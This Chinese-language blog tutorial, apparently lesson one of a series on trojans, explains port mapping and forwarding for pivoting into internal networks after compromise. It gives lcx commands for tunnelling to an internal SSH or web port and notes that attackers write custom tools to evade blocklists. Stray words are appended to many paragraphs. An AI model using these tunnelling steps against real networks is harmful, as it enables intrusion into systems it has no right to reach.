教你學木馬攻防 | 隧道木馬 | 第一課

前言

今天開始講講木馬攻防,感受這些內容你們應該會更感興趣一些,就從隧道木馬提及。爲何會有隧道木馬這一說呢?這是根據通訊協議進行分類的。講隧道木馬以前,先講講端口映射和轉發。端口映射和端口轉發實際上是一回事,原理是同樣的,因爲應用場景不一樣,才產生了不一樣的含義。linux

 

場景1 端口映射

端口映射的使用,如下圖爲例,這是一個在滲透測試中,比較常見的場景。git

 

 

  1. 一個hacker經過掃描暴露到公網中的主機A ,主機A開放了一些敏感端口,並且是弱口令,致使主機A被hacker徹底控制。github

  2. 接着hacker就想往公司內網中滲透,經過在主機A監控流量或者掃描的方式,發現了主機B,可是主機B只能由主機A進行訪問,開放了80端口,並且沒有公網ip。golang

  3. 若是hacker想直接訪問主機B的 80端口,對上面的Web服務進行繼續滲透,這就須要進行端口映射,讓hacker能夠遠程鏈接到80端口。shell

 

從上圖場景中看,端口映射是將內網主機B的80端口映射到了具備公網ip的主機A上,本質上是將一個原本沒法訪問的端口映射到能夠訪問的ip上了。windows

場景2 端口轉發

端口轉發又是另一個場景,在滲透測試中,也很常見。以下圖所示。安全

 

 

  1. hacker位於主機A,主機A多是我的電腦,也多是hacker控制的主機。網絡

  2. hacker經過發送惡意郵件的方式給主機B,主機B的用戶點開郵件,運行惡意木馬致使主機B被感染,就成了咱們俗稱的「肉雞」。雖然已經有木馬運行在主機B中,可是因爲主機B不在公網中,hacker沒法訪問到主機B。ssh

  3. 主機B運行着ssh服務,開放着22端口,hacker若是想在主機A上直接鏈接主機B的22端口,執行shell命令,這就須要端口轉發。機器學習

 

那麼木馬怎麼實現端口轉發,才能讓hacker訪問主機B的22端口呢? 這就須要一臺主機C,一個公網的VPS,去阿里雲或者騰訊雲買。木馬的服務端運行在主機C,同時監聽兩個端口 port1 與port2,木馬的客戶端運行在主機B,分別主動鏈接主機B的22端口和主機C的port2,而hacker只須要主動鏈接主機C的port1,這樣就打通了到主機B 22端口的線路。以下圖所示。

 

lcx是一款內網端口轉發工具,用於將內網主機開放的內部端口映射到外網主機(有公網IP)任意端口。這個工具很早就已經有了,如今已經有跨平臺的了,支持在windows、linux下使用。還有一些根據lcx源碼開發的其餘版本,好比jsp版,http隧道版等等。代碼以下:

 

https://github.com/windworst/LCX/

 

下面說一下它的使用以及功能說明:

 

Usage of Packet Transmit:

  ./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]

  ./lcx -about

  

[options:]

  -listen <local port1>  <local port2>

  -tran   <local port>   <remote host>  <remote port>

  -slave  <remote host1> <remote port1> <remote host2> <remote port2>

  

  -hex   : hex mode data dump

  -text  : text mode data dump

  -log   : save transfer log


對於場景1,可使用lcx的tran模式來實現。假設主機A 公網ip 10.10.10.1,主機B 內網ip爲192.168.1.5,開放80端口。 在主機A上運行 :

 

./lcx -tran 8080 192.168.1.5 80

 

這個時候,hacker只要鏈接到主機A的8080端口,便可訪問到主機B的80端口。

 

對於場景2,使用lcx的listen和slave模式來實現。假設主機C 公網ip 10.10.10.1,主機B 內網ip爲192.168.1.5,開放22端口。 在主機C上監聽8080和8081端口:

 

./lcx -listen 8080 8081

 

在主機B上鍊接22端口,並鏈接主機C的8081端口:

 

./lcx -slave 192.168.1.5 22  10.10.10.1 8081

 

這個時候,hacker只須要鏈接ip10.10.10.1的8080端口,便可直接鏈接到22端口,執行命令。

 取代lcx

 使用工具很簡單,可是對這些工具的封鎖也很簡單。這些開源的網絡安全工具早就處於防護端的黑名單裏。所以本身寫一個相似的工具也是一項必備的能力。 在github中就有這樣相似的項目:

 

 https://github.com/cw1997/NATBypass


代碼很簡單,只是單個golang文件,仿照lcx是實現了listen,tran和slave功能。關鍵的代碼很簡單,對應了下圖中三個紅框圈住的三個函數。

 

最後

關注公衆號:七夜安全博客

  • 回覆【1】:領取 Python數據分析 教程大禮包
  • 回覆【2】:領取 Python Flask 全套教程
  • 回覆【3】:領取 某學院 機器學習 教程
  • 回覆【4】:領取 爬蟲 教程
  • 回覆【5】:領取 編譯原理 教程 
  • 回覆【6】:領取 滲透測試 教程 
  • 回覆【7】:領取 人工智能數學基礎 教程
相關文章
相關標籤/搜索